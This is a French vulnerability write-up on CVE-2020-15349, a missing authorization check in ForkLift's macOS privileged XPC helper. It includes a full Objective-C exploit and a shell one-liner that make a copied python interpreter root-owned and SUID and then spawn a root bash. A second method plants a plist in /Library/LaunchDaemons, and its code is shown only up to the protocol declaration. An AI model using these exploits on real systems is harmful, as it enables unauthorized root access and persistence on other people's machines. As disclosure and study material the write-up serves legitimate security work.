
Description de la vulnérabilité de CVE-2020-15349
Lors de l'installation de Forklift, un nouvel assistant appelé com.binarynights.ForkLiftHelper pour Mac OS X est automatiquement installé dans le répertoire /Library/PrivilegedHelperTools/.
L'analyse de cet assistant, qui gère les messages XPC, a révélé différentes manières d'élever les privilèges de l'utilisateur à root sur Mac OS X.
Lors de l'acceptation d'appels XPC, la fonction HelperTool listener:shouldAcceptNewConnection, respectivement (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection est utilisée par défaut. Cette fonction sert à établir les étapes initiales d'une connexion XPC. Normalement, cette fonction effectue l'autorisation de l'appelant — cependant, la fonction de com.binarynights.ForkLiftHelper n'implémente aucun contrôle d'autorisation. Ainsi, il est possible d'appeler toutes les fonctions exposées via XPC sans autorisation.
Les fonctions suivantes sont exposées via XPC à l'appelant :
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
La première méthode pour exploiter cet assistant est la suivante :
Copiez, par exemple, l'interpréteur python dans un répertoire contrôlable par l'utilisateur et appelez la fonction XPC changeOwner avec le paramètre @"<chemin>" owner:0 group:0. Cela changera le propriétaire de l'interpréteur python en root.
Ensuite, il est possible de positionner le bit SUID sur l'interpréteur en envoyant une requête XPC à la fonction changePermissions avec le paramètre suivant @"<chemin>" permissions:2541. Les permissions 2541 correspondent en octal au nombre 4755, ce qui positionne le flag SUID sur le binaire.
La commande suivante va lancer un shell en tant que root :
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]
Assurez-vous d'abord d'avoir copié un interpréteur python dans /tmp avec le nom python_copied.
L'exploit suivant illustre cette LPE :
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
La deuxième méthode pour exploiter cet assistant est la suivante :
Grâce à l'appel XPC moveItem, il est possible de déplacer n'importe quel élément en tant que root. Ainsi, il est possible d'écrire un fichier plist dans le répertoire /tmp, puis de le copier dans le répertoire /Library/LaunchDaemons/. Les paramètres suivants sont utilisés pour la fonction moveItem : @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist".
Le code suivant ajoute automatiquement un nouvel agent de démarrage qui se déclenche au redémarrage :
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end